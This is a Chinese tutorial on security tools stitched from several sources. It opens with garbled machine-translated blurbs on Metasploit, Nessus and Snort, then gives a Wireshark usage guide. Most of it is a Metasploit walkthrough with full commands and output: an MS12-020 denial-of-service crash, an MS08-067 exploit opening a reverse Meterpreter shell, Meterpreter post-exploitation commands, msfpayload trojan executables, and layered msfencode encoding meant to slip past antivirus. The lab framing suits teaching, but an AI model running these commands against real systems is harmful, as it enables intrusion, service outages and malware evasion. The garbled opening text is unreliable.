2.Metasploit全球安全風暴時,它在2004年被釋放。 是一個先進的開源平臺的開發、測試和使用開發代碼。 有效載荷的可擴展模型,編碼器,無操做發電機,利用能夠集成成爲可能使用etasploit框架做爲尖端的開發研究的一個出口。 它附帶數以百計的利用,能夠看到他們的模塊列表。 這使得編寫本身的功績更容易,這總比在黑暗的角落互聯網非法shellcode可疑的質量。 一個免費的額外的Metasploitable,一個故意不安全的Linux虛擬機能夠用於測試Metasploit和其餘開發工具沒有觸及服務器。php
Metasploit是徹底免費的,但項目收購Rapid7在2009年,很快就發芽商業變體。 框架自己仍然是自由和開放源碼,可是他們如今也提供free-but-limited Community edition,更高級的Express edition(每一個用戶每一年5000美圓),和一個全功能的專業版。 其餘開發工具考慮支付核心的影響(更昂貴的)帆布(少)。html
Metasploit框架如今包括一個官方java GUI拉斐爾瑪吉的優秀阿米蒂奇。 前端
3.Nessus是最受歡迎的之一,漏洞掃描器能力,特別是對UNIX系統。 它最初是自由和開放源碼,但他們封閉源代碼在2005年和刪除自由「註冊Feed」版本在2008年。 如今每一年花費2190美圓,仍然比許多競爭對手。 一個免費的「Nessus回家」版本也能夠,雖然是有限的,只有得到家庭網絡使用的許可。java
Nessus不斷更新,70000多個插件。 關鍵特性包括遠程和本地安全檢查(身份驗證),客戶機/服務器體系結構和基於web的界面,和嵌入式腳本語言編寫本身的插件或理解現有的linux
雖然Snort自己是免費和開源的,母公司SourceFire提供他們VRT-certified規則每一年499美圓/傳感器和一個互補的產品線的軟件和設備更多的企業級功能。 Sourcefire還提供了一個免費的30天延遲飼料。android
1..Wiresharkweb
如下的介紹都是以mac下的wireshark 1.12.2版本爲基礎。算法
說明:shell
經常使用按鈕從左到右的功能依次是:編程
一、列出可用接口。
二、抓包時須要設置的一些選項。通常會保留最後一次的設置結果。
三、開始新的一次抓包。
四、暫停抓包。
五、繼續進行本次抓包。
六、打開抓包文件。能夠打開以前抓包保存後的文件。不只能夠打開wireshark軟件保存的文件,也能夠打開tcpdump使用-w參數保存的文件。
七、保存文件。把本次抓包或者分析的結果進行保存。
八、關閉打開的文件。文件被關閉後,就會切換到初始界面。
九、重載抓包文件。
點擊經常使用按鈕中的設置按鈕,就會彈出設置選項對話框。在這個對話框中咱們能夠選中須要監聽的接口,設置混雜模式,設置抓取數據包的過濾條件。以下圖:
首先,選中須要監聽獲取數據包的接口。接口列表區列出了全部可使用的接口。若是接口前面的複選框被選中,說明對這個接口監聽捕獲數據包。
其次,設置混雜模式。設置混雜模式的做用是將網卡設置到混雜模式。若是不設置混雜模式,你的計算機只能獲取數據包發往的目標是你計算機和從你計算機出去的數據包。若是設置了混雜模式,你就能夠捕獲局域網中全部的數據包。若是窗口中的 "Use promiscuous mode on all interfaces"前面的複選框被選中,說明對全部的接口使用混雜模式。若是想單獨設置,能夠雙擊接口列表中的接口,會彈出以下的對話框。而後選中或者去掉「Capture packets in promiscuous mode」前面複選框。而後點ok按鈕。
再次,設置捕獲過濾條件。在點設置按鈕彈出的主設置對話框中和雙擊接口列表彈出的對話框中都會有「Capture Filter」項。在文本框中咱們能夠設置捕獲過濾條件。如,咱們只捕獲http相關的數據包,咱們就能夠設置捕獲條件爲「port 80」。由於http使用的是80端口。
最後,全部的設置完畢後,點擊設置主窗口中的「Start」按鈕,開始捕獲數據。數據捕獲完後,能夠點經常使用按鈕中的「保存」按鈕保存數據。
顯示過濾器應用於捕獲文件,用來告訴wireshark只顯示那些符合過濾條件的數據包。顯示過濾器比捕獲過濾器更經常使用。他能夠用來過濾不想看到的數據包,可是不會把數據刪除。若是想恢復原狀,只要把過濾條件刪除便可。
過濾器表達式對話框,是的wireshark的能夠很簡單的設置過濾表達式。點擊「Expression」按鈕就能夠打開這個對話框。以下圖:
對話框分左中右三部分。左邊爲可使用的全部協議域。右邊爲和協議域相關的條件值。中間爲協議域與條件值之間的關係。過濾器表達式對於初學者頗有用。如上圖,咱們建立的表達式的做用是,只顯示http協議包中包含關鍵詞「bo56.com」的全部數據包。
Field name說明:
這個列表中展現了全部支持的協議。點擊前面的三角標誌後,能夠列出本協議的可過濾字段。當選中「Field name」列表中的任何一項,只須要輸入你想要的協議域,就會自動定位到相應的協議域選項。
Relation說明:
is present 若是選擇的協議域存在,則顯示相關數據包。
contains 判斷一個協議,字段或者分片包含一個值
matches 判斷一個協議或者字符串匹配一個給定的Perl表達式。
Value(Protocol)說明:
此處輸入合適的值。若是選擇的協議域和這個值知足Relation中指定的關係,則顯示相關數據包。
Predefined values說明:
有些協議域包含了預先定義的值,有點相似於c語言中的枚舉類型。若是你選擇的協議域包含這樣的值,你能夠在這個列表中選擇。
Function函數說明:
過濾器的語言還有下面幾個函數:
upper(string-field)-把字符串轉換成大寫
lower(string-field)-把字符串轉換成小寫
upper((和lower((在處理大小寫敏感的字符串比較時頗有用。例如:
upper(ncp.nds_stream_name) contains "BO56.COM"
lower(mount.dump.hostname) =="BO56.COM"
若是你熟悉了這個規則以後你就會發現手動輸入表達式更有效率。當時手動在flter文本框中輸入表達時,若是輸入的語法有問題,文本框的背景色會變成紅色。這時候,你能夠繼續輸入或者修改,知道文本框中的表達式正確後,文本框的背景色又會變成綠色。
你常常會在數據包列表區域中看到不一樣的顏色。這就是wireshark作的很人性化的一方面。它可讓你指定條件,把符合條件的數據包按指定的顏色顯示。這樣你查找數據包會更方便些。下面咱們說一下如何設置顏色規則。
點擊「view」菜單,而後選擇「Coloring Rules」選項就會彈出設置顏色規則設置對話框。你點擊顏色規則設置的快捷按鈕也能夠打開顏色設置對話框。以下圖:
打開的對話框中默認已經有一些規則。咱們抓取的數據包中常常會看到一些不一樣的顏色,就是應用的這些默認的規則。點擊「New」按鈕能夠添加規則。以下圖:
name字段中填寫規則的名稱,方便記憶。
string字段中填寫過濾規則。這裏的語法和顯示規則表達式一致。點擊 上圖中的「Expression」按鈕,你就會看到熟悉的規則表達式對話。
Foreground Color按鈕用於選擇前景色。
Background Color按鈕用於選擇背景色。
Disabled按鈕用於指示是否禁用這條規則。
點擊ok按鈕後,規則自動會添加到規則列表中的最前端。
注意:wireshark在應用規則的時候,是按自上而下的順序去應用規則。所以剛添加的規則會優先應用。若是你想調整順序,能夠選中要調整順序的規則,而後點擊右邊的「UP」 或則 「Down」 按鈕。
顏色規則設置好後,只須要點apply按鈕就能夠應用規則了。規則效果應用以下圖:
圖形分析是數據分析中必不可少的一部分。也是wireshark的一大亮點。wireshark有不一樣的圖形展示功能,以幫助你瞭解捕獲的數據包。下面咱們對常用的IO圖,雙向時間圖作下介紹。
wireshark的IO圖讓你能夠對網絡上的吞吐量繪圖。讓你瞭解網絡數據傳輸過程當中的峯值和波動狀況。經過「Statistics」菜單中的「IO Graphs」選項能夠打開這個IO圖對話框。以下圖:
能夠看到IO圖表對話框中會分爲三個區。
過濾器區:設置過濾條件,用於圖形化展現過濾條件相關數據包的變化狀況。並且能夠爲每一個不一樣的條件指定不一樣的顏色。過濾條件的語法和以前介紹的顯示過濾器的語法一致。過濾條件爲空,此圖形顯示全部流量。
座標區:在這裏能夠設置圖表的x軸和y軸。x軸爲時間,y軸爲包的數量。如圖,咱們設置Y軸的單位是Bytes/Tick。
趨勢圖區:根據過濾器設置的條件和座標區設置,數據分析後回在這個區域以圖形化方式展現。點擊圖形中的點,會自動定位到相應的數據包。點擊趨勢圖中的低谷點,你會發現大量的數據包重傳。
IO圖表還能夠經過函數對數據進行聚合處理。
點擊Y軸中Unit選項中的Advanced後,就會再過濾器區就會增長Calc選項。以下圖:
相關函數說明:
MIN( ), AVG( ), MAX( ) 分別是統計協議域中數值的最小,平均和最大值。注意,這三個聚合函數只對協議域的值爲數字的纔有效。
Count( ) 此函數計算時間間隔內事件發生的次數,在查看TCP分析標識符時頗有用,例如重傳。
Sum( ) 該函數統計事件的累加值。和MIN()函數同樣,這個也只有協議域的值爲數字的狀況下才有效。
wireshark還有一個功能就是能夠對網絡傳輸中的雙向時間進行繪圖。雙向時間(round-trip time, RTT),就是一個數據包被確認正常接收所花費的時間。以tcp協議爲例,就是你push一個數據到一臺主機,主機迴應一個ack給你的主機,你的主機併成功接收ack迴應。這兩個過程花費的時間總和就是雙向時間。雙向時間一般用來尋找網絡傳輸過程當中的慢點和瓶頸,用以判斷網絡傳輸是否有延遲。
經過「Statistics」菜單中的「Tcp StreamGraph」中的「Round Trip Time Graph」選項能夠打開這個雙向時間圖對話框。以下圖:
這個圖表中的每一個點表明一個數據包的雙向時間。你能夠單機圖表中的任何一點,而後在數據包列表區就會自動定位到相應的數據包。從數據表來看,咱們下載壓縮包仍是比較穩定的。數據包的rtt時間大多數在0.05s如下,其餘大多數在0.1s左右,少數超過了1.5s。
Wireshark分析功能中最不錯的一個功能是它可以將TCP流重組。重組後的數據格式更容易閱讀。跟蹤TCP流這個功能能夠將接收到的數據排好順序使之容易查看,而不須要一小塊一小塊地看。這在查看HTTP、FTP等純文本應用層協議時很是有用。
咱們以一個簡單的HTTP請求舉例來講明一下。打開wireshark_bo56_pcap.pcapng,並在顯示過濾器中輸入「http contains wireshark」,點擊「apply」按鈕後,在數據包列表框中就會只剩下一條記錄。以下圖。
右鍵單擊這條記錄並選擇Follow TCP Stream。這時TCP流就會在一個單獨的窗口中顯示出來。以下圖:
咱們看到這個窗口中的文字會有兩種顏色。其中紅色用於表示從源地址到目標地址的流量。在咱們的例子裏面就是從咱們本機到web服務器的流量。你能夠看到最開始的紅色部分是一個GET請求。藍色部分是和紅色部分相反的方向,也就是從目標地址到源地址的流量。在咱們的例子中,藍色部分的第一行是「HTTP/1.1 200 OK」,是來自服務器的一個http成功響應。
在這個窗口中除了可以看到這些原始數據,你還能夠在文本間進行搜索,將其保存成一個文件、打印,或者以ASCII碼、EBCDIC、十六進制或者C數組的格式去查看。這些選項均可以在跟蹤TCP流窗口的下面找到。
2.Metasploit
Metasploit是一款開源安全漏洞檢測工具,附帶數百個已知的軟件漏洞,並保持頻繁更新。被安全社區冠以「能夠黑掉整個宇宙」之名的強大滲透測試框架。
Metasploit Framework最初是 HD Moore 我的的想法,當時他在一家安全公司工做,他於2003年10月發佈了第一個基於Perl的Metasploit版本,一開始只有共11個漏洞利用程序。後來隨着Spoonm幫助和加入,HD發佈於2004年4月重寫了該項目併發布了Metasploit2.0。此版本包括19個漏洞和超過27個payload。在這個版本之發佈後不久,馬特米勒(Skape)加入了Metasploit的開發團隊,使得該項目日益流行,Metasploit Framework也收到來自信息安全界的大力支持,並迅速成爲一個滲透測試必備的工具。
在2004年8月HD Moore 和 Spoonm 等4名年輕人在black hat會議上首次公佈了該項目,Metasploit的團隊在2007年使用Ruby編程語言徹底重寫併發布了Metasploit3.0,此次Metasploit從Perl到Ruby的遷移歷時18個月,增長超過15萬行的新代碼。隨着3.0版本的發佈,Metasploit開始被普遍的採用,在整個安全社區也受到了大幅增長的幫助和貢獻。 請輸入圖片描述
在2009年秋季,Rapid7收購了Metasploit,Rapid7是一個在漏洞掃描領域的領導者公司,被收購以後,Rapid7公司容許HD創建一個團隊,僅僅着重於Metasploit Framework的開發。也正因爲這樣,此次收購使得Metasploit Framework開始更迅速地發展。HD Moore也成爲了Rapid7公司的CSO(Chief Security Officer),同時他也是Metasploit的首席架構師。
滲透攻擊(Exploit),指由攻擊者或滲透測試者利用一個系統、應用或服務中的安全漏洞,所進行的攻擊行爲。
攻擊載荷(Payload),是咱們指望目標系統在被滲透攻擊以後去執行的代碼。
Shellcode,是在滲透攻擊是做爲攻擊載荷運行的一組機器指令,一般用匯編語言編寫。
模塊(Module),指Metasploit框架中所使用的一段軟件代碼組件,可用於發起滲透攻擊或執行某些輔助攻擊動做。
監聽器(Listener),是Metasploit中用來等待網絡鏈接的組件。
終端(Msfconsole),是Metasploit框架最受歡迎的用戶接口,提供與用戶交互式的輸入,能夠用它來作任何事情。 啓動終端:在命令行裏輸入msfencode便可。
light@kali:~# msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'. II 6. .P : .' / | \ `. : II 'T;. .;P' '.' / | \ `.' II 'T; ;P' `. / | \ .' IIIIII 'YvP' `-.__|__.-' I love shells --egypt Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro Learn more on http://rapid7.com/metasploit =[ metasploit v4.10.0-2014082101 [core:4.10.0.pre.2014082101 api:1.0.0]] + -- --=[ 1331 exploits - 722 auxiliary - 214 post ] + -- --=[ 340 payloads - 35 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
命令行(msfcli),msfcli腳本處理和其餘命令工具的互操做性。 Armitage,Metasploit框架中一個徹底交互式的圖形化用戶接口。
MSF攻擊載荷生成器(msfpayload),用於生成本身定製的shellcode、可執行代碼等。
MSF編碼器(msfencode),幫助msfpayload進行編碼處理,避免壞字符,以及逃避殺毒軟件和IDS的檢測。
2.1.1 微軟關於MS12-020漏洞的安全公告: http://technet.microsoft.com/zh-cn/security/bulletin/ms12-020
2.1.2 實驗準備工做
一、該漏洞利用遠程桌面的漏洞進行攻擊,因此須要靶機xp系統打開遠程桌面功能。
二、檢查肯定滲透測試系統與靶機系統能夠互相ping通。
2.1.3 實驗步驟 一、滲透測試系統中,在終端輸入msfconsole進入msf終端,接着在msf終端中使用search功能搜索ms12-020,發現有兩個可用模塊:
msf > search ms12-020
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- ----------- auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal MS12-020 Microsoft Remote Desktop Use-After-Free DoS auxiliary/scanner/rdp/ms12_020_check normal MS12-020 Microsoft Remote Desktop Checker
二、使用use命令選定要利用的模塊:
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids msf auxiliary(ms12_020_maxchannelids)
三、查看須要填寫的參數,這裏須要填寫靶機ip。
msf auxiliary(ms12_020_maxchannelids) > show options Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 3389 yes The target port msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.116.129 RHOST => 192.168.116.129
四、最後輸入命令「run」,執行咱們的auxiliary攻擊模塊:
msf auxiliary(ms12_020_maxchannelids) > run [*] 192.168.116.129:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS [*] 192.168.116.129:3389 - 210 bytes sent [*] 192.168.116.129:3389 - Checking RDP status... [+] 192.168.116.129:3389 seems down [*] Auxiliary module execution completed
五、靶機系統受到攻擊後藍屏
2.2.1 微軟關於MS18-067漏洞的安全公告:
http://technet.microsoft.com/zh-cn/security/bulletin/ms08-067
2.2.2 實驗步驟
一、進入msf終端後,使用search功能搜索ms08-067,發現有一個可用模塊:
msf > search ms08-067
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- ----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption
二、使用use命令選定要利用的模塊:
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >
三、接下來,light教授設置攻擊載荷爲基於Windows系統的Meterpreter reverse_tcp ,這個載荷在攻擊以後,會從目標主機發起一個反彈鏈接,鏈接到LHOST中指定的IP地址(也就是咱們俗稱的反彈馬)。這種反彈鏈接可讓你繞過防火牆的入站流量保護,或者穿透NAT網關。
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp
四、使用「show targets」命令讓咱們識別和匹配目標操做系統的類型。(大多數MSF滲透攻擊模塊會自動對目標系統類型進行識別,而不須要手工指定此參數,可是針對MS08-067漏洞的攻擊中,一般沒法正確的自動識別出系統類型。)
msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (AlwaysOn NX) 4 Windows XP SP2 English (NX) 5 Windows XP SP3 English (AlwaysOn NX) 6 Windows XP SP3 English (NX) 7 Windows 2003 SP0 Universal 8 Windows 2003 SP1 English (NO NX) 9 Windows 2003 SP1 English (NX) 10 Windows 2003 SP1 Japanese (NO NX) 11 Windows 2003 SP2 English (NO NX) 12 Windows 2003 SP2 English (NX) 13 Windows 2003 SP2 German (NO NX) 14 Windows 2003 SP2 German (NX) 15 Windows XP SP2 Arabic (NX) 16 Windows XP SP2 Chinese - Traditional / Taiwan (NX) 17 Windows XP SP2 Chinese - Simplified (NX) ......
五、選定系統編號(TARTGET),設置靶機IP(RHOST)與本機IP(LHOST)
msf exploit(ms08_067_netapi) > set TARGET 17 TARGET => 17 msf exploit(ms08_067_netapi) > set RHOST 192.168.116.129 RHOST => 192.168.116.129 msf exploit(ms08_067_netapi) > set LHOST 192.168.116.128 LHOST => 192.168.116.128
六、使用「show options」命令查看當前參數設置狀況:
msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.116.129 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST 192.168.116.128 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 17 Windows XP SP2 Chinese - Simplified (NX)
七、參數檢查無誤後,輸入「exploit」對靶機進行攻擊。當返回meterpreter提示符表示利用成功。
msf exploit(ms08_067_netapi) > run [*] Started reverse handler on 192.168.116.128:4444 [*] Attempting to trigger the vulnerability... [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:4444 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400
八、能夠利用vnc對靶機進行圖形化遠程控制,命令:run vnc 。Meterpreter還有不少強大的功能,咱們將在後續的章節詳細介紹。
Metasploitv4以後的新版本中,Meterpreter做爲後滲透攻擊模塊的實施通道,能夠根據滲透測試目標需求進行靈活擴展。
涉及範圍: 信息蒐集、口令攫取、權限提高、內網拓展等。
一、平臺通用性 提供了各類主流操做系統和平臺上的meterpreter版本,包括windows、linux、BSD,並同時支持x86和x64平臺。另外還提供基於java和php語言的實現,以應對各類不一樣環境。
二、純內存工做模式 工做時直接裝載meterpreter的動態連接庫到目標進程空間,而不是先上傳到磁盤,再調用loadlibrary加載動態連接庫啓動。這樣啓動隱蔽,很難被殺毒軟件檢測到,也不會再目標主機磁盤留下任何痕跡。
三、靈活且加密的通訊協議 採用TLV(type length value)數據封裝格式;通訊數據通過XOR加密,而後調用OpenSSL庫進行SSL封裝傳輸,保證傳輸的保密和隱蔽性。
四、易於擴展 Meterpreter的插件以動態連接庫文件的形式存在,能夠選擇你喜歡的編程語言按照Meterpreter的接口形式編寫你須要的功能,而後編譯成動態連接庫,拷貝至相應目錄便可。
一、基本命令(包含meterpreter和msf終端、ruby接口、目標shell交互的命令)
background(進程隱藏至後臺) sessions(查看已經成功獲取的會話,-i 恢復會話) quit(關閉當前會話) shell (獲取系統控制檯shell,若是目標系統命令行可執行程序不存在或禁止訪問, 則shell命令會出錯) irb(與Ruby終端交互,調用metasploit封裝好的函數;在irb中還能夠添加metasploit附加組件railgun,直接與windows本地API進行交互)
二、文件系統命令(與目標文件系統交互,包括查看、上傳下載、搜索、編輯)
cat(目標系統文件交互) getwd(獲取目標機當前工做目錄,getlwd本地當前工做工做目錄) upload(上傳文件或文件夾到目標機 -r 遞歸) download(從目標機下載文件或文件夾 -r 遞歸) edit(調用vi編輯器,對目標上的文件進行編輯) search(對目標機的文件進行搜索)
三、網絡命令(查看目標網絡情況、鏈接信息,進行端口轉發等)
ipconfig(獲取目標主機上的網絡接口信息) portfwd(端口轉發:將目標主機開放但不容許訪問的端口進行轉發) route(顯示目標主機路由信息)
四、系統命令(查看目標系統信息、對系統進行基本操做等)
ps(查看目標機正在運行的進程信息) migrate(將meterpreter會話進程遷移到另外一個進程內存空間) execute(在目標機上執行文件) getpid(當前會話所在進程的pid值) kill(終結指定的pid程序) getuid(獲取當前會話用戶名) sysinfo(獲取系統信息) shutdown(關閉目標主機)
五、用戶接口命令
screenshot(截獲被控主機當前桌面)
MetasploitV4.0正式引入後滲透模塊,其格式與滲透攻擊模塊相統一,位於post/ 目錄下,用於實現特殊或定製的功能。
Meterpreter在滲透測試中的範圍:
範圍包括:權限提高、信息竊取、口令攫取和利用、內網拓展、掩蹤滅跡、維持訪問。
攻擊載荷(msfpayload)是咱們指望目標系統在被滲透攻擊後去執行的代碼,在metasploit框架中能夠自由的選擇、傳送和植入。
使用命令「msfpayload -l」能夠查看攻擊載荷列表:
light@kali:~# msfpayload -l Framework Payloads (340 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell android/meterpreter/reverse_http Run a meterpreter server on Android. Tunnel communication over HTTP android/meterpreter/reverse_https Run a meterpreter server on Android. Tunnel communication over HTTPS android/meterpreter/reverse_tcp Run a meterpreter server on Android. Connect back stager android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP android/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS android/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell bsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/x86/exec Execute an arbitrary command bsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service bsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service bsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6 bsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection bsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection bsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6 bsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker bsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell bsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6 bsd/x86/shell_find_port Spawn a shell on an established connection bsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe) bsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6 ....
一、下面咱們利用msfpayload生成一個windows下運行的反彈meterpreter木馬,命令爲:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe
light@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=10086 X > Desktop/muma01.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 287 Options: {"LHOST"=>"192.168.116.128", "LPORT"=>"10086"}
參數解釋:msfpayload後面跟生成木馬所選用的攻擊載荷,後面在加上攻擊載荷所須要的參數(上例中須要設置的是本地系統的IP與端口),「X」表示生成可執行文件,「>」號後面跟自定義的生成文件的路徑與文件名。
二、能夠檢查一下文件屬性,看到是有效的windows可執行程序:
light@kali:~# file Desktop/muma01.exe Desktop/muma01.exe: PE32 executable (GUI) Intel 80386, for MS Windows
三、在本地滲透測試系統中進入msfconsole並開啓監聽:
use exploit/multi/handler
,而後指定要監聽的的攻擊載荷類型:
set PAYLOAD windows/meterpreter/reverse_tcp
,最後設置好對應的參數,開啓監聽。
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.116.128 LHOST => 192.168.116.128 msf exploit(handler) > set LHOST 10086 LHOST => 10086 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.116.128:10086 [*] Starting the payload handler...
四、在咱們的windows靶機下打開剛纔由msfpayload生成的木馬文件。
五、在滲透測試系統的msfconsole中看到反彈馬已經成功返回meterpreter,實驗成功!
msf exploit(handler) > exploit [*] Started reverse handler on 192.168.116.128:10086 [*] Starting the payload handler... [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400 meterpreter >
實驗以前咱們先用一張圖簡單展現一下反彈型與直連型木馬的區別。
一、使用msfpayload生成一個windows下運行的直連型meterpreter木馬,命令:
msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe
由於是直連,因此參數裏的IP是靶機IP(RHOST),這裏要注意區分。
light@kali:~# msfpayload windows/meterpreter/bind_tcp RHOST=192.168.198.224 LPORT=10086 X > Desktop/muma02.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/bind_tcp Length: 295 Options: {"RHOST"=>"192.168.198.224", "LPORT"=>"10086"}
二、設置監聽(注意參數)
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.116.128 LHOST => 192.168.116.128 msf exploit(handler) > set LHOST 10086 LHOST => 10086 msf exploit(handler) > exploit [*] Starting the payload handler... [*] Started bind handler
三、靶機運行木馬後,攻擊端成功鏈接。
[*] Starting the payload handler... [*] Started bind handler [*] Sending stage (769536 bytes) to 192.168.116.129 [*] Meterpreter session 1 opened (192.168.116.128:10086 -> 192.168.116.129:1036) at 2015-06-01 03:10:26 -0400 meterpreter >
Msf編碼器是一個很是實用的工具,它可以改變可執行文件中的代碼形狀,讓殺毒軟件認不出它原來的樣子,而程序的功能不會受到任何影響。和電子郵件附件使用Base64從新編碼相似,msf編碼器將原始的可執行程序從新編碼,並生成一個新的二進制文件。當這個文件運行後,msf編碼器會將原始程序解碼到內存中並執行。
使用命令「msfencode -h」能夠查看msfencode參數說明,「msfencode -l」能夠查看msf編碼器列表。
light@kali:~# msfencode -l Framework Encoders ================== Name Rank Description ---- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
一、生成一個通過msfencode編碼的木馬文件:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -t exe > Desktop/muma_encode.exe
參數解釋 「R」:輸出原始數據 「|」 : 分割符 「-e」:指定編碼器類型 「-t」:輸出文件類型 「>」:指定生成文件名(能夠用「-o」參數替代)
二、多重編碼 單純的一次msfencode編碼如今已經很難繞過殺軟,在掌握了上面基本的編碼技巧後,咱們學習一下msfencode的多重編碼。 在Metasploit框架中,容許咱們使用多重編碼技術來對攻擊載荷(msfpayload)進行屢次編碼,以繞過殺軟的特徵碼檢查。 生成一個通過屢次msfencode編碼的木馬文件:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.198.220 LPORT=10086 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/jmp_call_additive -c 3 -t raw | msfencode -e x86/call4_dword_xor -c 7 -t raw | msfencode -e x86/shikata_ga_nai -c 2 -t exe -o Desktop/muma_multiEncode.exe
參數解釋 「-c」:使用當前編碼器編碼的次數 「raw」:以原始數據類型輸出 「-o」:指定生成的文件名
注意:過屢次的使用msfencode混合編碼雖然繞過殺軟檢測的效果更好,但同時也有致使木馬文件沒法正常運行的可能。因此建議在編碼後先對所生成文件的可用性進行檢查。 請輸入圖片描述
